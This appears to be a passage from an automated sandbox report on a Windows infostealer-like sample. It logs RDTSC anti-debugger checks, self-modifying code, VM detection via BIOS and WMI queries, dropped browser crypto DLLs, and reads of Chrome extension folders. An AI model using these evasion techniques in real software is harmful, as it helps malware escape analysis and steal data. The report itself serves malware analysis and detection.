Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3747D0 second address: 3747D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3747D4 second address: 3747F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F38ECB57B9Ch 0x0000000c jng 00007F38ECB57B98h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3747F5 second address: 3747FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3747FB second address: 3747FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3747FF second address: 374819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F38EC75ED16h 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jg 00007F38EC75ED16h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 374819 second address: 374833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F38ECB57B96h 0x00000009 jmp 00007F38ECB57B9Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 381C87 second address: 381CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38EC75ED24h 0x00000009 jmp 00007F38EC75ED27h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 381E49 second address: 381E50 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3820E8 second address: 3820EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3854D8 second address: 3854E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3854E2 second address: 3854E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 3854E8 second address: 3854EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 387588 second address: 38758C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 387CC9 second address: 387CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38C195 second address: 38C1B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F38EC75ED1Ah 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38C1B3 second address: 38C1C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38C1C0 second address: 38C1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 je 00007F38EC75ED16h 0x0000000e jne 00007F38EC75ED16h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38C1DB second address: 38C1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 34B5EB second address: 34B609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 34B609 second address: 34B60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 34B60D second address: 34B611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B55D second address: 38B565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B565 second address: 38B56E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B6FF second address: 38B705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B705 second address: 38B709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B883 second address: 38B88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F38ECB57B96h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B88D second address: 38B897 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B897 second address: 38B89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B89B second address: 38B89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38B89F second address: 38B8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38ECB57B9Bh 0x00000011 jmp 00007F38ECB57BA1h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BD34 second address: 38BD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BD3C second address: 38BD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BD41 second address: 38BD4F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BD4F second address: 38BD53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BE85 second address: 38BE8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38BFFC second address: 38C014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38ECB57BA4h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F796 second address: 38F7AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7AC second address: 38F7C2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F38ECB57B96h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7C2 second address: 38F7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7C6 second address: 38F7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7CA second address: 38F7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7D0 second address: 38F7D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7D6 second address: 38F7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F7DA second address: 38F85E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F38ECB57B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F38ECB57B9Ch 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007F38ECB57BA7h 0x0000001c pop eax 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F38ECB57B98h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 add esi, 6ACC23E2h 0x0000003d call 00007F38ECB57B99h 0x00000042 jmp 00007F38ECB57B9Fh 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F38ECB57B9Ah 0x0000004f rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F85E second address: 38F885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38EC75ED20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jmp 00007F38EC75ED1Bh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	RDTSC instruction interceptor: First address: 38F885 second address: 38F8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 push ecx 0x0000000a jo 00007F38ECB57B96h 0x00000010 pop ecx 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BF959 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7625B0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7F7B0D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Special instruction interceptor: First address: 1DE958 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Special instruction interceptor: First address: 1DE98E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Special instruction interceptor: First address: 387AAF instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Special instruction interceptor: First address: 3ADB20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A0E958 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A0E98E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BB7AAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDDB20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Special instruction interceptor: First address: 11AEC4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Special instruction interceptor: First address: 11AED30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Special instruction interceptor: First address: 134ED58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Special instruction interceptor: First address: 13DFE24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Special instruction interceptor: First address: 71C910 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Special instruction interceptor: First address: 71C8A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Special instruction interceptor: First address: AEF959 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Special instruction interceptor: First address: C925B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Special instruction interceptor: First address: D27B0D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBGIJJKKJJD.exe

Code function: 21_2_04B50CED rdtsc

21_2_04B50CED

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1066
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1119
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1080
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1013
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4788
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3120
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 831
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 923
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 919
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 930
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 674
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Window / User API: threadDelayed 880

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7412	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7396	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7392	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7388	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7508	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7408	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7408	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7404	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7404	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4904	Thread sleep count: 1066 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4904	Thread sleep time: -2133066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep count: 1119 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep time: -2239119s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8872	Thread sleep count: 1080 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8872	Thread sleep time: -2161080s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5768	Thread sleep count: 1013 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5768	Thread sleep time: -2027013s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8804	Thread sleep count: 221 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8804	Thread sleep time: -6630000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep count: 4972 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep count: 4788 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8224	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1512	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 4864	Thread sleep count: 831 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 4864	Thread sleep time: -1662831s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8660	Thread sleep count: 923 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8660	Thread sleep time: -1846923s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 7080	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8764	Thread sleep count: 919 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8764	Thread sleep time: -1838919s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8388	Thread sleep count: 930 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 8388	Thread sleep time: -1860930s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 5580	Thread sleep count: 674 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 5580	Thread sleep time: -1348674s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 4332	Thread sleep count: 880 > 30
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe TID: 4332	Thread sleep time: -1760880s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 6456	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 1456	Thread sleep time: -330000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 7056	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 8812	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 8720	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 1168	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 7572	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe TID: 7912	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe TID: 7452	Thread sleep count: 109 > 30
Source: C:\Users\user\AppData\Local\Temp\1009402001\1623118d84.exe TID: 7452	Thread sleep count: 123 > 30

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM WIN32_PROCESSOR

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File Volume queried: C:\Windows\System32 FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	File Volume queried: \Device\CdRom0\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE0EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE0EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
